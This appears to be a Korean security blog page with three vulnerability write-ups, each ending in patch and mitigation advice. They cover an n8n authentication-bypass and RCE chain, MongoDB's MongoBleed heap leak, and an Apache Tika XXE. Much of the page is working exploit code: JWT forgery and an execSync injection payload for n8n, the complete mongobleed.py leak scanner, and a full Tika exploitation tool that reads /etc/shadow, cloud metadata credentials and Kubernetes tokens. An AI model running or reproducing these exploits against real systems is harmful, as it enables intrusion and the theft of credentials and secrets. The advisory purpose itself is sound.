        with tempfile.NamedTemporaryFile(suffix=".db") as f:
            f.write(db)
            f.flush()
            conn = sqlite3.connect(f.name)
            row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
            conn.close()
        return (row[0], row[1], row[2]) if row else None
...

2.1.2 인증 우회

- 탈취한 파일에서 encryptionKey 및 관리자 패스워드 해시를 추출하여 JWT 쿠키 위조

...
    # 위조된 관리자 권한의 JWT 생성
    def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
        secret = hashlib.sha256(key[::2].encode()).hexdigest()
        h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
        self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
        return self.admin_token
...

2.1.3 원격 명령 실행

- 관리자 권한으로 샌드박스를 우회(CVE-2025-68613)하는 워크플로우 실행

...
# CVE-2025-68613 악용 페이로드
# 워크플로 표현식 평가 과정의 격리 미흡으로, 특정 조건에서 인증된 사용자가 악성 표현식을 주입해 n8n 프로세스 권한으로 임의 코드 실행이 가능
RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
...
    def rce(self, command: str) -> str | None:
        nodes, connections, _, _ = self._build_nodes(command)
        wf_name = f"wf-{randstr(16)}"
        workflow = {"name": wf_name, "active": False, "nodes": nodes,
                    "connections": connections, "settings": {}}

        resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
        if not resp:
            return None
        wf_id = resp.json().get("data", {}).get("id")
        if not wf_id:
            return None

        run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
                                      "nodes": nodes, "connections": connections, "settings": {}}}
        resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
        if not resp:
            self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
            return None

        exec_id = resp.json().get("data", {}).get("executionId")
        result = self._get_result(exec_id) if exec_id else None
        self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
        return result
...

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [7][8]

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-21858 n8n 1.65.0 이하 1.121.0 이상

4. 참고

[1] https://n8n.io/
[2] https://wikidocs.net/290882
[3] https://nvd.nist.gov/vuln/detail/CVE-2026-21858
[4] https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858
[5] https://velog.io/@bm1201/Webhook
[6] https://github.com/Chocapikk/CVE-2026-21858
[7] https://community.n8n.io/t/security-advisory-security-vulnerability-in-n8n-versions-1-65-1-120-4/247305
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71933&menuNo=205020

1. MongoDB

- 데이터를 테이블이 아닌 Document 단위 (JSON 형식의 데이터)로 저장하는 NoSQL(Not Only SQL) 데이터베이스 [1]

2. 취약점

[사진 1] CVE-2025-14847 [2]

- zlib 기반 네트워크 압축을 처리하는 과정에서, 압축 프로토콜 헤더의 길이 값이 서로 불일치하는 비정상 메시지를 제대로 다루지 못해 초기화되지 않은 힙 메모리 영역이 노출될 수 있는 취약점 [3][4]

인증 없이 DB에 연결만 해도 원격에서 서버 메모리(힙) 일부가 유출될 수 있어 계정 정보·비밀번호·API 키 등 민감정보 노출 가능성 존재

※ 버그는 2017년 5월 도입된 RP에서 도입되었으며 25.12.19 공식적으로 공개

영향받는 버전
MongoDB
- 8.2.0 이상 ~ 8.2.3 미만
- 8.0.0 이상 ~ 8.0.17 미만
- 7.0.0 이상 ~ 7.0.28 미만
- 6.0.0 이상 ~ 6.0.27 미만
- 5.0.0 이상 ~ 5.0.32 미만
- 4.4.0 이상 ~ 4.4.30 미만
- 모든 v4.2 버전
- 모든 v4.0 버전
- 모든 v3.6 버전

 

- MongoDB는 HTTP 대신 자체 TCP 프로토콜을 사용하며, 메시지는 BSON(Binary JSON, 바이너리 형태로 데이터를 직렬화하는 형식) 형식으로 전송됨 [5][6][7]

> 모든 요청은 OP_MSG 명령으로 구성되며, 압축된 메시지가 전송될 때 OP_COMPRESSED 구조체로 래핑됨

> uncompressedSize필드압축 해제 후 페이로드의 크기를 나타내며, 해당 값에 대한 유효성 검사가 없어 값을 조작하여 초기화되지 않은 힙 메모리로 채워진 과도하게 큰 버퍼를 할당 가능

※ 유출된 메모리에는 이전에 힙을 차지했던 내용에 따라, 비밀번호, 자격 증명, API 키 등의 민감 데이터 조각이 포함될 수 있음

struct OP_COMPRESSED {
    struct MsgHeader {
        int32  messageLength;
        int32  requestID;
        int32  responseTo;
        int32  opCode;
    };
    int32_t  originalOpcode;
    int32_t  uncompressedSize;
    uint8_t  compressorId;
    char     *compressedMessage;
};

 

2.1 Exploit Part 1 : 잘못된 버퍼 할당

- 공격자는 uncompressedSize 값을 실제보다 과도하게 큰 값으로 설정해 서버가 큰 버퍼를 할당하도록 만듦

> 실제 1KB 크기의 메시지를 1MB로 선언

> 서버는 압축 해제 후 페이로드의 실제 크기(1KB)를 검증하지 않고 사용자 입력(1MB)를 신뢰

> C++ 기반 MongoDB는 메모리 초기화를 수행하지 않기 때문에, 이전 작업의 민감 데이터가 포함될 수 있음

[ 1KB of REAL DATA |             999KB of UNREFERENCED HEAP GARBAGE               ]
                                  ↑                                                                                                       ↑
                   actual length (1KB)                                                                      user input length (1MB)

 

2.2 Exploit Part 2 : 데이터 유출

- 공격자는 잘못된 BSON 데이터를 전송해 서버가 메모리의 쓰레기 데이터를 파싱하도록 유도

> BSON의 첫 필드는 문자열이며, C언어의 널 종료 문자열 (null-terminated strings) 규칙을 따

> 널 종료 문자열 (\0)이 없는 문자열을 보내면, 메모리 버퍼에서 첫 번째 널 종료 문자(\0)를 찾을 때까지 데이터를 읽음

> 해당 과정을 반복 힙 메모리 전체를 스캔하며 민강 정보 수집 가능

# Conceptual
[ REAL DATA   |   UNREFERENCED HEAP GARBAGE ]

# Practical Example : 메모리에는 실제 데이터 a와 이전 작업의 민감 데이터가 함께 포함된 상태
[ { "a                 | password: 123\0 | apiKey: jA2sa | ip: 219.117.127.202 ]

# Error MSG : 서버는 메모리내 널 종료 문자열(\0)를 찾을 때까지 데이터를 읽어 오류 메시지에 해당 내용을 포함하여 응답
{
   "ok": 0,
   "errmsg": "invalid BSON field name 'a | password: 123'",
   "code": 2,
   "codeName": "BadValue"
}

 

[사진 2] 취약점 악용 개요

2.3 PoC

- 조작된 uncompressedSize 값과 BSON 데이터를 포함하는 압축 메시지 전송 [8]

#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit

Author: Joe Desimone - x.com/dez_

Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""

import socket
import struct
import zlib
import re
import argparse

def send_probe(host, port, doc_len, buffer_size):
    """Send crafted BSON with inflated document length"""
    # Minimal BSON content - we lie about total length
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content
    
    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)
    
    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size
    payload += struct.pack('B', 2)  # zlib
    payload += compressed
    
    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
    
    try:
        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((host, port))
        sock.sendall(header + payload)
        
        response = b''
        while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        return response
    except:
        return b''

def extract_leaks(response):
    """Extract leaked data from error response"""
    if len(response) < 25:
        return []
    
    try:
        msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]
    except:
        return []
    
    leaks = []
    
    # Field names from BSON errors
    for match in re.finditer(rb"field name '([^']*)'", raw):
        data = match.group(1)
        if data and data not in [b'?', b'a', b'$db', b'ping']:
            leaks.append(data)
    
    # Type bytes from unrecognized type errors
    for match in re.finditer(rb"type (\d+)", raw):
        leaks.append(bytes([int(match.group(1)) & 0xFF]))
    
    return leaks

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()
    
    print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
    print(f"[*] Author: Joe Desimone - x.com/dez_")
    print(f"[*] Target: {args.host}:{args.port}")
    print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    print()
    
    all_leaked = bytearray()
    unique_leaks = set()
    
    for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)
        
        for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)
                
                # Show interesting leaks (> 10 bytes)
                if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
    
    # Save results
    with open(args.output, 'wb') as f:
        f.write(all_leaked)
    
    print()
    print(f"[*] Total leaked: {len(all_leaked)} bytes")
    print(f"[*] Unique fragments: {len(unique_leaks)}")
    print(f"[*] Saved to: {args.output}")
    
    # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

if __name__ == '__main__':
    main()

 

[영상 1] 취약점 시연 [9]

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11][12]

> OP_COMPRESSED BSON에 제공된 값을 그대로 사용하는 대신, 출력 크기로부터 메시지 크기를 계산

> 이를 통해 실제 메시지 크기 이상의 추가 메모리가 할당되지 않도록 함

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-14847 MongoDB 8.2.0 이상 ~ 8.2.3 미만 8.2.3
8.0.0 이상 ~ 8.0.17 미만 8.0.17
7.0.0 이상 ~ 7.0.28 미만 7.0.28
6.0.0 이상 ~ 6.0.27 미만 6.0.27
5.0.0 이상 ~ 5.0.32 미만 5.0.32
4.4.0 이상 ~ 4.4.30 미만 4.4.30
모든 v4.2 버전 해결 버전으로 마이그레이션
(4.4.30)
모든 v4.0 버전
모든 v3.6 버전

※ v3.6 버전, v4.0 버전, v4.2 버전은 EOL

 

- 업데이트 적용이 불가할 경우

> zlib 압축 비활성화

※ mongod 또는 mongos 실행 시 networkMessageCompressors 또는 net.compression.compressors 옵션에서 zlib을 명시적으로 제외

> MongoDB 서버 외부 노출 최소화

※ 방화벽·보안그룹·접근제어를 통해 데이터베이스가 신뢰된 애플리케이션 경로에서만 연결 허용

> 이상 접속과 트래픽 패턴 점검 및 필요 시 데이터베이스 접근 자격증명, 토큰 교체

> 탐지도구 활용을 통한 취약점 식별 [13]

4. 참고

[1] https://www.mongodb.com/ko-kr
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-14847
[3] https://www.akamai.com/blog/security-research/cve-2025-14847-all-you-need-to-know-about-mongobleed
[4] https://bigdata.2minutestreaming.com/p/mongobleed-explained-simply
[5] https://www.mongodb.com/ko-kr/docs/manual/reference/bson-types/
[6] https://velog.io/@wndbsgkr/MongoDB%EC%9D%98-BSON%EC%97%90-%EB%8C%80%ED%95%B4-%EC%95%84%EC%8B%9C%EB%82%98%EC%9A%94
[7] https://velog.io/@chayezo/MongoDB-JSON-vs.-BSON
[8] https://github.com/joe-desimone/mongobleed
[9] https://www.rapid7.com/blog/post/etr-mongobleed-cve-2025-1484-critical-memory-leak-in-mongodb-allowing-attackers-to-extract-sensitive-data/
[10] https://jira.mongodb.org/browse/SERVER-115508
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71931
[12] https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728
[13] https://github.com/Neo23x0/mongobleed-detector
[14] https://blog.ecapuano.com/p/hunting-mongobleed-cve-2025-14847
[15] https://www.dailysecu.com/news/articleView.html?idxno=203786
[16] https://news.hada.io/topic?id=25422

1. Apache Tika

- 업로드 문서(PDF, Office 등)에서 메타데이터와 텍스트를 감지하고 추출하는데 사용되는 라이브러리 [1]

2. 취약점

[사진 1] CVE-2025-66516 [2]

- tika-core 내부 XFA XML 파서에서 외부 엔티티를 차단하도록하는 구현이 불완전하여 발생하는 XML 외부 엔티티(XXE) 취약점 (CVSS: 10.0) [3]

영향받는 버전
- org.apache.tika:tika-core 1.13 이상 ~ 3.2.1 이하
- org.apache.tika:tika-parsers 1.13 이상 ~ 2.0.0 미만
- org.apache.tika:tika-parser-pdf-module 2.0.0 이상 ~ 3.2.1 이하

 

- XMLReaderUtils.getXMLInputFactory()에서  외부 엔티티 차단 목적IGNORING_STAX_ENTITY_RESOLVER를 구성

> 해당 Resolver는 원래 기대되는 반환값 InputStream이 아닌 String을 반환하는 형태

> JDK의 기본 StAX 파서는 잘못된 반환 유형을 조용히 무시한 뒤 기본 동작으로 fallback

> 따라서, XFA(XML Forms Architecture)에 외부 엔티티가 있을 경우 resolver가 제대로 동작하지 못해 외부 엔티티를 그대로 해석 시도

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); ------- [1]
    return factory;
}
parser 구성에 따른 영향
① tika-server-standard.jar
- Woodstox(StAX XML 파서 구현체)가 번들로 제공되어, 효과적으로 XXE 차단
② tika-core + parser modules (embedded usage)
- 기본 StAX XML을 사용하여 취약

 

2.1 PoC

- XFA가 포함된 최소 구조의 PDF를 만들고, 그 안에서 XXE가 실제 추출 경로를 타도록 구성 [4]

#!/usr/bin/env python3
"""
CVE-2025-66516 Automated Exploitation Tool
===========================================

Full-chain exploitation tool for Apache Tika XXE vulnerability.
Automatically generates payloads, tests against target, and extracts data.

VULNERABILITY BACKGROUND:
-------------------------
Apache Tika versions 1.13 through 3.2.1 fail to properly configure the
underlying StAX XML parser to disable external entity resolution when
processing XFA data within PDF documents.

THE INCIDENTAL WOODSTOX PROTECTION:
-----------------------------------
The standard tika-server-standard.jar bundles the Woodstox XML parser,
which has secure defaults and blocks external entity resolution. This
tool is effective against:
  - Embedded Tika deployments using JDK's default StAX parser
  - Custom deployments without Woodstox on classpath
  - Applications explicitly using the JDK reference implementation

USAGE:
------
  # Basic file read exploitation
  python exploit.py --url http://target:9998 --file /etc/passwd

  # Test if target is vulnerable
  python exploit.py --url http://target:9998 --check

  # AWS metadata theft (SSRF)
  python exploit.py --url http://target:9998 --aws-metadata

  # Read multiple files
  python exploit.py --url http://target:9998 --file /etc/passwd --file /etc/shadow

  # Kubernetes secrets extraction
  python exploit.py --url http://target:9998 --k8s-secrets

  # Save extracted data to file
  python exploit.py --url http://target:9998 --file /etc/passwd --save output.txt
"""

import sys
import io
import os
import re
import argparse
import tempfile

try:
    import requests
except ImportError:
    print("Error: requests library required. Install with: pip install requests")
    sys.exit(1)


class TikaExploit:
    """Automated exploitation of CVE-2025-66516"""

    def __init__(self, tika_url, timeout=30, verbose=False):
        self.tika_url = tika_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()

    def log(self, message):
        """Print verbose output"""
        if self.verbose:
            print(f"[DEBUG] {message}")

    def check_connectivity(self):
        """Verify Tika server is reachable"""
        try:
            resp = self.session.get(f"{self.tika_url}/version", timeout=5)
            if resp.status_code == 200:
                return True, resp.text.strip()
            return False, f"HTTP {resp.status_code}"
        except requests.RequestException as e:
            return False, str(e)

    def generate_payload_pdf(self, target):
        """Generate PDF with XXE payload targeting specified file/URL"""
        if target.startswith("http://") or target.startswith("https://"):
            entity_uri = target
        else:
            entity_uri = f"file://{target}"

        xfa_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
  <!ENTITY xxe SYSTEM "{entity_uri}">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" xml:lang="en">
<config xmlns="http://www.xfa.org/schema/xci/3.1/">
  <present><pdf><version>1.7</version></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
  <subform name="form1" layout="tb">
    <pageSet><pageArea><contentArea/><medium stock="letter"/></pageArea></pageSet>
    <subform>
      <field name="data"><ui><textEdit/></ui><value><text>&xxe;</text></value></field>
    </subform>
  </subform>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
  <xfa:data><form1><data>&xxe;</data></form1></xfa:data>
</xfa:datasets>
</xdp:xdp>'''

        # Build minimal PDF
        pdf = io.BytesIO()
        offsets = {}

        def write(data):
            if isinstance(data, str):
                data = data.encode('utf-8')
            pdf.write(data)

        def obj_start(num):
            offsets[num] = pdf.tell()

        write(b'%PDF-1.7\n%\xe2\xe3\xcf\xd3\n')
        obj_start(1)
        write(b'1 0 obj\n<< /Type /Catalog /Pages 2 0 R /AcroForm 5 0 R >>\nendobj\n')
        obj_start(2)
        write(b'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n')
        obj_start(3)
        write(b'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n')
        obj_start(4)
        write(b'4 0 obj\n<< /Length 0 >>\nstream\nendstream\nendobj\n')
        obj_start(5)
        write(b'5 0 obj\n<< /Fields [] /XFA 6 0 R /NeedAppearances true >>\nendobj\n')

        xfa_bytes = xfa_content.encode('utf-8')
        obj_start(6)
        write(f'6 0 obj\n<< /Length {len(xfa_bytes)} >>\nstream\n'.encode())
        write(xfa_bytes)
        write(b'\nendstream\nendobj\n')

        xref_offset = pdf.tell()
        write(b'xref\n0 7\n0000000000 65535 f \n')
        for i in range(1, 7):
            write(f'{offsets.get(i, 0):010d} 00000 n \n'.encode())
        write(f'trailer\n<< /Size 7 /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n'.encode())

        return pdf.getvalue()

    def send_payload(self, pdf_data):
        """Send PDF payload to Tika and return response"""
        try:
            resp = self.session.put(
                f"{self.tika_url}/tika",
                data=pdf_data,
                headers={"Content-Type": "application/pdf"},
                timeout=self.timeout
            )
            return resp.status_code, resp.text
        except requests.RequestException as e:
            return None, str(e)

    def extract_data(self, response_text, target):
        """Extract exfiltrated data from Tika response"""
        # Look for data in XFA form field output
        # Tika outputs XFA field data in format: fieldName="data">data: CONTENT</li>
        patterns = [
            r'fieldName="data">data:\s*(.*?)</li>',
            r'<data>(.*?)</data>',
            r'<text>(.*?)</text>',
        ]

        for pattern in patterns:
            matches = re.findall(pattern, response_text, re.DOTALL)
            for match in matches:
                content = match.strip()
                # Filter out empty or placeholder content
                if content and content != "test" and content != "&xxe;":
                    return content

        return None

    def exploit_file(self, file_path):
        """Attempt to read a file from target system"""
        self.log(f"Generating payload for: {file_path}")
        pdf_data = self.generate_payload_pdf(file_path)

        self.log(f"Sending {len(pdf_data)} byte payload to {self.tika_url}")
        status, response = self.send_payload(pdf_data)

        if status is None:
            return {"success": False, "error": response}

        if status != 200:
            return {"success": False, "error": f"HTTP {status}"}

        extracted = self.extract_data(response, file_path)
        if extracted:
            return {"success": True, "data": extracted, "target": file_path}
        else:
            return {"success": False, "error": "No data extracted (target may be protected by Woodstox)"}

    def exploit_ssrf(self, url):
        """Perform SSRF attack"""
        self.log(f"Generating SSRF payload for: {url}")
        pdf_data = self.generate_payload_pdf(url)

        self.log(f"Sending SSRF payload to {self.tika_url}")
        status, response = self.send_payload(pdf_data)

        if status is None:
            return {"success": False, "error": response}

        if status != 200:
            return {"success": False, "error": f"HTTP {status}"}

        extracted = self.extract_data(response, url)
        if extracted:
            return {"success": True, "data": extracted, "target": url}
        else:
            return {"success": False, "error": "No data extracted"}

    def check_vulnerable(self):
        """
        Check if target is vulnerable by attempting to read /etc/passwd
        or a non-existent file (to detect error-based information disclosure)
        """
        # Try to read /etc/passwd
        result = self.exploit_file("/etc/passwd")
        if result["success"]:
            return True, "Target is VULNERABLE - file read confirmed"

        # Try a canary file - if we get a specific error, XXE is working
        canary = "/tmp/xxe_test_nonexistent_12345"
        pdf_data = self.generate_payload_pdf(canary)
        status, response = self.send_payload(pdf_data)

        if status == 200:
            # Check for error messages indicating XXE processing
            if "FileNotFoundException" in response or "No such file" in response:
                return True, "Target is VULNERABLE - error-based XXE confirmed"

        return False, "Target appears protected (likely using Woodstox)"


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-66516 Automated Exploitation Tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --url http://target:9998 --check
  %(prog)s --url http://target:9998 --file /etc/passwd
  %(prog)s --url http://target:9998 --aws-metadata
  %(prog)s --url http://target:9998 --k8s-secrets
  %(prog)s --url http://target:9998 --file /etc/passwd --save loot.txt
        """
    )
    parser.add_argument('--url', '-u', required=True, help='Target Tika server URL')
    parser.add_argument('--file', '-f', action='append', help='File to read (can specify multiple)')
    parser.add_argument('--ssrf', '-s', action='append', help='URL for SSRF (can specify multiple)')
    parser.add_argument('--check', action='store_true', help='Check if target is vulnerable')
    parser.add_argument('--aws-metadata', action='store_true', help='Attempt AWS metadata extraction')
    parser.add_argument('--gcp-metadata', action='store_true', help='Attempt GCP metadata extraction')
    parser.add_argument('--k8s-secrets', action='store_true', help='Attempt Kubernetes secrets extraction')
    parser.add_argument('--save', help='Save extracted data to file')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
    parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')

    args = parser.parse_args()

    print("""
+==============================================================+
|  CVE-2025-66516 Apache Tika XXE Exploitation Tool            |
|  For authorized security testing only                        |
+==============================================================+
    """)

    exploit = TikaExploit(args.url, timeout=args.timeout, verbose=args.verbose)

    # Check connectivity
    print(f"[*] Target: {args.url}")
    reachable, version = exploit.check_connectivity()
    if not reachable:
        print(f"[-] Cannot reach target: {version}")
        return 1
    print(f"[+] Tika version: {version}")

    results = []

    # Vulnerability check
    if args.check:
        print("\n[*] Checking vulnerability status...")
        vulnerable, message = exploit.check_vulnerable()
        if vulnerable:
            print(f"[+] {message}")
        else:
            print(f"[-] {message}")
        return 0 if vulnerable else 1

    # File read attacks
    if args.file:
        print(f"\n[*] Attempting to read {len(args.file)} file(s)...")
        for file_path in args.file:
            print(f"\n[*] Target: {file_path}")
            result = exploit.exploit_file(file_path)
            if result["success"]:
                print(f"[+] SUCCESS - Data extracted:")
                print("-" * 50)
                print(result["data"][:2000])
                if len(result["data"]) > 2000:
                    print(f"... [{len(result['data']) - 2000} more bytes]")
                print("-" * 50)
                results.append(result)
            else:
                print(f"[-] Failed: {result['error']}")

    # SSRF attacks
    if args.ssrf:
        print(f"\n[*] Attempting {len(args.ssrf)} SSRF request(s)...")
        for url in args.ssrf:
            print(f"\n[*] Target: {url}")
            result = exploit.exploit_ssrf(url)
            if result["success"]:
                print(f"[+] SUCCESS - Response received:")
                print("-" * 50)
                print(result["data"][:2000])
                print("-" * 50)
                results.append(result)
            else:
                print(f"[-] Failed: {result['error']}")

    # AWS metadata
    if args.aws_metadata:
        print("\n[*] Attempting AWS metadata extraction...")
        aws_targets = [
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://169.254.169.254/latest/dynamic/instance-identity/document",
        ]
        for url in aws_targets:
            print(f"\n[*] Target: {url}")
            result = exploit.exploit_ssrf(url)
            if result["success"]:
                print(f"[+] SUCCESS:")
                print(result["data"][:1000])
                results.append(result)

                # If we got IAM role name, try to get credentials
                if "iam/security-credentials/" in url and result["data"]:
                    role_name = result["data"].strip().split('\n')[0]
                    creds_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
                    print(f"\n[*] Fetching credentials for role: {role_name}")
                    creds_result = exploit.exploit_ssrf(creds_url)
                    if creds_result["success"]:
                        print(f"[+] AWS CREDENTIALS EXTRACTED:")
                        print(creds_result["data"])
                        results.append(creds_result)

    # GCP metadata
    if args.gcp_metadata:
        print("\n[*] Attempting GCP metadata extraction...")
        gcp_targets = [
            "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
            "http://metadata.google.internal/computeMetadata/v1/project/project-id",
        ]
        for url in gcp_targets:
            print(f"\n[*] Target: {url}")
            result = exploit.exploit_ssrf(url)
            if result["success"]:
                print(f"[+] SUCCESS:")
                print(result["data"][:1000])
                results.append(result)

    # Kubernetes secrets
    if args.k8s_secrets:
        print("\n[*] Attempting Kubernetes secrets extraction...")
        k8s_targets = [
            "/var/run/secrets/kubernetes.io/serviceaccount/token",
            "/var/run/secrets/kubernetes.io/serviceaccount/namespace",
            "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt",
        ]
        for file_path in k8s_targets:
            print(f"\n[*] Target: {file_path}")
            result = exploit.exploit_file(file_path)
            if result["success"]:
                print(f"[+] SUCCESS:")
                print(result["data"][:1000])
                results.append(result)

    # Save results
    if args.save and results:
        print(f"\n[*] Saving results to {args.save}")
        with open(args.save, 'w') as f:
            for r in results:
                f.write(f"=== {r['target']} ===\n")
                f.write(r['data'])
                f.write("\n\n")
        print(f"[+] Saved {len(results)} result(s)")

    # Summary
    print(f"\n{'='*60}")
    if results:
        print(f"[+] Exploitation successful: {len(results)} target(s) extracted")
        return 0
    else:
        print("[-] No data extracted - target may be protected by Woodstox")
        return 1


if __name__ == "__main__":
    sys.exit(main())

3. 대응방안

- 벤더사 제공 업데이트 적용

> 팩토리 수준에서 DTD 및 외부 엔티티 지원을 명시적으로 비활성화
> 기존 IGNORING_STAX_ENTITY_RESOLVER가 정상적인 반환 타입을 반환하도록 수정

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-66516 Apache Tika
(org.apache.tika:tika-core)
1.13 이상 ~ 3.2.1 이하 Apache Tika 3.2.2 이상
Apache Tika
(org.apache.tika:tika-parsers)
1.13 이상 ~ 2.0.0 미만
Apache Tika
(org.apache.tika:tika-parser-pdf-module)
2.0.0 이상 ~ 3.2.1 이하

4. 참고

[1] https://tika.apache.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-66516
[3] https://github.com/chasingimpact/CVE-2025-66516-Writeup-POC
[4] https://github.com/chasingimpact/CVE-2025-66516-Writeup-POC/blob/main/poc/exploit.py
[5] https://lists.apache.org/thread/s5x3k93nhbkqzztp1olxotoyjpdlps9k
[6] https://tika.apache.org/download.html
[7] https://archive.apache.org/dist/tika/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71915

+ Recent posts